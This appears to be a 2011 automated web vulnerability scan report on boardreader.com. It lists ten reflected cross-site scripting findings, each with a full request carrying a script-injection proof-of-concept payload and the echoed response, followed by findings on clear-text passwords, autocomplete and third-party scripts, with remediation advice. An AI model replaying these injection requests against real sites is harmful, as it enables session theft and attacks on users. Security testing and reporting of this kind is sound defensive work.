Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://boardreader.com/index.php [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2e1f"><script>alert(1)</script>3606575b7cc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /index.php?z=1&source=opensearch&a=s&q={searchTerms}&b2e1f"><script>alert(1)</script>3606575b7cc=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:52:49 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://boardreader.com/rss/%7BsearchTerms%7D.html?source=opensearch&b2e1f"><script>alert(1)</script>3606575b7cc=1&p=20&format=RSS2.0" /> ...[SNIP]...
1.2. http://boardreader.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2d10e'><script>alert(1)</script>2f96e732bb6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /index.php?z=1&source=opensearch&a=s&q={searchTerms}&2d10e'><script>alert(1)</script>2f96e732bb6=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:53:00 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta ...[SNIP]... <input type=hidden name='2d10e'><script>alert(1)</script>2f96e732bb6' value="1"> ...[SNIP]...
1.3. http://boardreader.com/my/signup.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/my/signup.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da9f2"><script>alert(1)</script>671f469cc02 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my/signup.html?da9f2"><script>alert(1)</script>671f469cc02=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:38 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <form name="mylogin_" action="/my/signup.html?da9f2"><script>alert(1)</script>671f469cc02=1" method="POST"> ...[SNIP]...
1.4. http://boardreader.com/pop/articles/-/-/7.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/articles/-/-/7.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37ec4"><script>alert(1)</script>e3800dfbbbc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/articles/-/-/7.html?37ec4"><script>alert(1)</script>e3800dfbbbc=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:32:07 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/Toilet%2Bpaper%2Borientation.html?37ec4"><script>alert(1)</script>e3800dfbbbc=1" title="Search discussions for item "Toilet paper orientation""> ...[SNIP]...
1.5. http://boardreader.com/pop/films/-/-/3.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/films/-/-/3.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef06b"><script>alert(1)</script>06db0769bba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/films/-/-/3.html?ef06b"><script>alert(1)</script>06db0769bba=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:56 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/D.html?ef06b"><script>alert(1)</script>06db0769bba=1" title="Search discussions for item "D""> ...[SNIP]...
1.6. http://boardreader.com/pop/instructions/-/-/7.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/instructions/-/-/7.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a5f8"><script>alert(1)</script>69f17f800bf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/instructions/-/-/7.html?9a5f8"><script>alert(1)</script>69f17f800bf=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:57 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/How%2Bto%2BBuild%2Ban%2BEarthbag%2BDome.html?9a5f8"><script>alert(1)</script>69f17f800bf=1" title="Search discussions for item "How to Build an Earthbag Dome""> ...[SNIP]...
1.7. http://boardreader.com/pop/news/-/-/3.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/news/-/-/3.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 633c8"><script>alert(1)</script>21ff8f9967b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/news/-/-/3.html?633c8"><script>alert(1)</script>21ff8f9967b=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:32:01 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/Chinese%2Bair%2Bforce%2Bdrill%2Blooks%2Bawfully%2Bsimilar%2Bto%2B%25E2%2580%2598Top%2BGun%25E2%2580%2599.html?633c8"><script>alert(1)</script>21ff8f9967b=1" title="Search discussions for item "Chinese air force drill looks awfully similar to ...Top Gun...""> ...[SNIP]...
1.8. http://boardreader.com/pop/releases/-/-/3.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/releases/-/-/3.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ccc3d"><script>alert(1)</script>263690e9a78 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/releases/-/-/3.html?ccc3d"><script>alert(1)</script>263690e9a78=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:58 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/Hyundai%2BMotor%2BAmerica%2BReports%2BRecord%2BJanuary%2BSales%2B--%2BFOUNTAIN%2BVALLEY%252C%2BCalif.%252C%2BFeb.%2B1%252C%2B2011%2B%252FPRNewswire%252F%2B--.html?ccc3d"><script>alert(1)</script>263690e9a78=1" title="Search discussions for item "Hyundai Motor America Reports Record January Sales -- FOUNTAIN VALLEY, Calif., Feb. 1, 2011 /PRNewswire/ --""> ...[SNIP]...
1.9. http://boardreader.com/pop/sites.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/sites.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9c1aa'><script>alert(1)</script>341d035808d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/sites.html?9c1aa'><script>alert(1)</script>341d035808d=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:56 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href='/pop/sites.html?9c1aa'><script>alert(1)</script>341d035808d=1&o=10'> ...[SNIP]...
1.10. http://boardreader.com/pop/videos/-/-/3.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/videos/-/-/3.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2008f"><script>alert(1)</script>ade1aee3939 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/videos/-/-/3.html?2008f"><script>alert(1)</script>ade1aee3939=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:32:03 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/Today%2BShow%2BJanuary%2B1994...What%2Bis%2Bthe%2BInternet%253F%253F.html?2008f"><script>alert(1)</script>ade1aee3939=1" title="Search discussions for item "Today Show January 1994...What is the Internet??""> ...[SNIP]...
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://boardreader.com/my/subscription.html
The form contains the following password field:
pass
Issue background
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Request
GET /my.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:23 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
3. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://boardreader.com
Path:
/my.html
Issue detail
The page contains a form with the following action URL:
http://boardreader.com/my/subscription.html
The form contains the following password field with autocomplete enabled:
pass
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
Request
GET /my.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:23 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /index.php?a=a&x=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:27 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verify-v ...[SNIP]... </a> | <a class="footer_m" target="_blank" href="http://clickaider.com/" title="Tracked by ClickAider"><img src="http://hit.clickaider.com/i/button-30.gif" border="0"/></a> ...[SNIP]... </div>
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The response dynamically includes the following scripts from other domains:
http://hit.clickaider.com/clickaider.js
http://www.google-analytics.com/urchin.js
Request
GET /index.php HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 15:47:25 GMT Server: Apache Pragma: Cache-Control: no-store, max-age=21600 Expires: Thu, 03 Feb 2011 21:47:25 +0000 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Age: 17040 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verify-v ...[SNIP]... </div> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> ...[SNIP]... </script>
GET /my.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:23 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </div>
GET /my/signup.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:24 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </div>
GET /pop/articles/-/-/7.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:37 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </div>
The response dynamically includes the following scripts from other domains:
http://hit.clickaider.com/clickaider.js
http://www.google-analytics.com/urchin.js
Request
GET /pop/domains.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:43 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Top domains : ...[SNIP]... </div>
GET /pop/films/-/-/3.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:31 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </div>
GET /pop/instructions/-/-/7.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
